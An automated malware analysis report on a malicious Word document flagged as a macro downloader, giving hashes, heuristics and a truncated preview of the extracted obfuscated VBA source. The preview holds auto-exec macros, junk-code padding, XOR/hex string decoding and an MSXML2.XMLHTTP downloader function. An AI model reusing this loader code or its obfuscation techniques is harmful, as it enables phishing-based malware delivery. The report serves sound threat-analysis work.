Office (OLE) malware analysis — malicious · c0c0223e464a47bc

MALICIOUS

Office (OLE)

135.0 KB Created: 2014-12-08 15:45:00 Authoring application: Microsoft Office Word First seen: 2015-01-04

MD5: c616e9ac0c32dde5d5fbe2f61002d790 SHA-1: 7a327d4a7362d2f4423dc038c712e97abd4504ac SHA-256: c0c0223e464a47bc145eb5ae1c4671c0a9b93d26e462911d6aa390be5536940e

274 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing heavily obfuscated VBA macros. Critical heuristics indicate an 'Obfuscated auto-exec VBA loader' and 'VBA p-code auto-exec with execution tokens', suggesting the macros are designed to run automatically and execute arbitrary code. The presence of 'CreateObject' calls further supports this, as it's commonly used to instantiate objects for malicious purposes, such as downloading and executing payloads. The ClamAV detection as 'Doc.Downloader.Generic' reinforces the downloader functionality.

Heuristics 11

ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set TANDPOVQGQA = CreateObject("MSXML2.XMLHTTP")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set TANDPOVQGQA = CreateObject("MSXML2.XMLHTTP")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```

Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)

Matched line in script

hvUHVIKdfg.Open Environ(XORI(Hextostring("1E3D271B"), Hextostring("4A786A4B6874"))) & XORI(Hextostring("2C1E252F13113A15343D080E5E220B12"), Hextostring("70477377514B"))

Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	97810 bytes
SHA-256: `cba0b6519574916d5c8fd5aa274d41453b31fb384c3e72e2301659b47d3b280f`
Detection ClamAV: No threats found Obfuscation or payload: likely 210 of 322 identifiers look randomly generated (e.g. 'A381E1572666D280B173C3D2D23060C262A6C2F0') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Public Function udSfgcxvyHuj53() As Integer Dim eiVoGZpnXWzx49, qRJmlmFPlrCD87, FZHscHkJlotl55, LxUPoSqHTfls63 As String Dim HzsyfFyjswPh81, hEUoBhjOeRuY68, oYoJqwnBvIHd34, hqlHbgAxnHnr62 As Integer HzsyfFyjswPh81 = 1495 eiVoGZpnXWzx49 = J hEUoBhjOeRuY68 = Asc(eiVoGZpnXWzx49) If HzsyfFyjswPh81 > hEUoBhjOeRuY68 Then For oYoJqwnBvIHd34 = 1 To 94 hqlHbgAxnHnr62 = hEUoBhjOeRuY68 + oYoJqwnBvIHd34 Next oYoJqwnBvIHd34 hqlHbgAxnHnr62 = hqlHbgAxnHnr62 + HzsyfFyjswPh81 qRJmlmFPlrCD87 = CStr(hqlHbgAxnHnr62) FZHscHkJlotl55 = Mid$(qRJmlmFPlrCD87, 1, 4) LxUPoSqHTfls63 = LxUPoSqHTfls63 & "57" udSfgcxvyHuj53 = CInt(Mid$(LxUPoSqHTfls63, 2, 6)) Else udSfgcxvyHuj53 = 94 + 1495 MsgBox ("IPjqEXqygUPN75") End Function Public Function bETZYueMGkOU84() As Integer Dim WmItFQyGHxPN65, qCvTgwsqdTDE99, gJheakrpvPax16, dcLbtlNPtKkn35 As String Dim NlvLmYIFnCLL13, TzJqzallktvc92, SYaokMmHldig16, gShDuklqBhtw66 As Integer NlvLmYIFnCLL13 = 6872 WmItFQyGHxPN65 = m TzJqzallktvc92 = Asc(WmItFQyGHxPN65) If NlvLmYIFnCLL13 > TzJqzallktvc92 Then For SYaokMmHldig16 = 1 To 77 gShDuklqBhtw66 = TzJqzallktvc92 + SYaokMmHldig16 Next SYaokMmHldig16 gShDuklqBhtw66 = gShDuklqBhtw66 + NlvLmYIFnCLL13 qCvTgwsqdTDE99 = CStr(gShDuklqBhtw66) gJheakrpvPax16 = Mid$(qCvTgwsqdTDE99, 1, 4) dcLbtlNPtKkn35 = dcLbtlNPtKkn35 & "28" bETZYueMGkOU84 = CInt(Mid$(dcLbtlNPtKkn35, 2, 6)) Else bETZYueMGkOU84 = 77 + 6872 MsgBox ("LWfqBDkhVpte29") End Function Public Function pUAIUwudHmNA87() As Integer Dim FTnbQKPlJbii56, RtiULzyUcIjV63, HyWlAHvLOSDr82, gUjxdkOsnWpm35 As String Dim WhOFWQwHkzFB35, hgzeFjMBVuEK63, RBojBzwIBfwC98, lYuqKddqqmlf17 As Integer WhOFWQwHkzFB35 = 8858 FTnbQKPlJbii56 = s hgzeFjMBVuEK63 = Asc(FTnbQKPlJbii56) If WhOFWQwHkzFB35 > hgzeFjMBVuEK63 Then For RBojBzwIBfwC98 = 1 To 69 lYuqKddqqmlf17 = hgzeFjMBVuEK63 + RBojBzwIBfwC98 Next RBojBzwIBfwC98 lYuqKddqqmlf17 = lYuqKddqqmlf17 + WhOFWQwHkzFB35 RtiULzyUcIjV63 = CStr(lYuqKddqqmlf17) HyWlAHvLOSDr82 = Mid$(RtiULzyUcIjV63, 1, 4) gUjxdkOsnWpm35 = gUjxdkOsnWpm35 & "52" pUAIUwudHmNA87 = CInt(Mid$(gUjxdkOsnWpm35, 2, 6)) Else pUAIUwudHmNA87 = 69 + 8858 MsgBox ("erjPkZuGFdhP49") End Function Public Function jfAligpEwlEQ12() As Integer Dim milJMqzZUbJR29, lFXfVdVzfYiI48, yPAUfnYuOQOa26, QlMBWMkQnLfT81 As String Dim KCrCqDloZaVx29, uUpqwvWKEiHn89, pPkmLwoylsLM64, ucsRIvnLTlBb84 As Integer KCrCqDloZaVx29 = 1658 milJMqzZUbJR29 = K uUpqwvWKEiHn89 = Asc(milJMqzZUbJR29) If KCrCqDloZaVx29 > uUpqwvWKEiHn89 Then For pPkmLwoylsLM64 = 1 To 34 ucsRIvnLTlBb84 = uUpqwvWKEiHn89 + pPkmLwoylsLM64 Next pPkmLwoylsLM64 ucsRIvnLTlBb84 = ucsRIvnLTlBb84 + KCrCqDloZaVx29 lFXfVdVzfYiI48 = CStr(ucsRIvnLTlBb84) yPAUfnYuOQOa26 = Mid$(lFXfVdVzfYiI48, 1, 4) QlMBWMkQnLfT81 = QlMBWMkQnLfT81 & "96" jfAligpEwlEQ12 = CInt(Mid$(QlMBWMkQnLfT81, 2, 6)) Else jfAligpEwlEQ12 = 34 + 1658 MsgBox ("zEwyXEIMmdQY76") End Function 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Sub Auto_Open() 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 584122 = 584122 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 3324 < 88 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim nEXDgRqy As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For nEXDgRqy = 0 To 1 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim yaGbefeX As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For yaGbefeX = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next yaGbefeX 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next nEXDgRqy 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim pEKfXpHy As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For pEKfXpHy = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next pEKfXpHy 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("XKOLakoD41") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("YKylDIdE6587") = Len("iwOTXuSp") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim DrRrkked As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For DrRrkked = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PbYySYGu As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PbYySYGu = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PbYySYGu 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next DrRrkked 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim FzOMREZj As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For FzOMREZj = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next FzOMREZj 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PvKzslCn As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PvKzslCn = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim AEJhSGSz As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For AEJhSGSz = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next AEJhSGSz 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PvKzslCn 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim pZXVzypE As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For pZXVzypE = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next pZXVzypE 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DRBDBIEYZQO 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End Sub 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Sub AutoOpen() 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 491375 = 491375 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 5554 < 73 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim nZessZMw As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For nZessZMw = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim xiupQNII As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For xiupQNII = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next xiupQNII 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next nZessZMw 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim lZmiTzEW As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For lZmiTzEW = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next lZmiTzEW 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("pFgxYtFJ94") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("JrlwGcPp8727") = Len("ScJNIEVx") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim lbDxSOxW As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For lbDxSOxW = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim kIJlfaUb As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For kIJlfaUb = 0 To 8 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next kIJlfaUb 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next lbDxSOxW 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim iGQJZsCC As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For iGQJZsCC = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next iGQJZsCC 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim oYUMaMQl As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For oYUMaMQl = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim aEdFhhSv As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For aEdFhhSv = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next aEdFhhSv 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next oYUMaMQl 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim xiiyaMSg As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For xiiyaMSg = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next xiiyaMSg 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Auto_Open 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End Sub 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Sub Workbook_Open() 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 958469 = 958469 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 3274 < 97 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim yCqTYMfr As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For yCqTYMfr = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ecHvXpSn As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ecHvXpSn = 0 To 5 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next ecHvXpSn 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next yCqTYMfr 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim pYZnrzgT As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For pYZnrzgT = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next pYZnrzgT 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("jZtqdVZB12") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If Len("USYkfUKi4124") = Len("ojpTxykF") Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim PbSvEhlJ As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For PbSvEhlJ = 0 To 6 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim bFKhTOYG As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For bFKhTOYG = 0 To 4 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next bFKhTOYG 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next PbSvEhlJ 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim WkFUkdYT As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For WkFUkdYT = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next WkFUkdYT 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку MsgBox ("Error !!!") 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End If 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim trUJgLlU As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For trUJgLlU = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim xtxNqOon As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For xtxNqOon = 0 To 3 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next xtxNqOon 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next trUJgLlU 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim RfozlAQR As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For RfozlAQR = 0 To 7 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку DoEvents 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Next RfozlAQR 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Auto_Open 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку End Sub 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Function QOZMTJITZON(ByVal DCRVOFYOBOL As String, ByVal ZXWOGYWHSHM As String) As Boolean 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim TANDPOVQGQA As Object, FJOOUIEHIOV As Long, FPBPEDJWSVG As Long, QIQIKQJTKIU() As Byte 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 566372 = 566372 + 1 Then End 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку If 2411 < 27 Then 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim rfPSmzlN As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For rfPSmzlN = 0 To 9 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку Dim ATYpjcIY As Integer 'ИТРО П87цп гпГША(8п4-е9г3-4ршмШ ОМРОМ Ало щ3архзщ ПШГМШГЛИДаку For ATYpjcIY = 0 To 4 'ИТРО П87цп 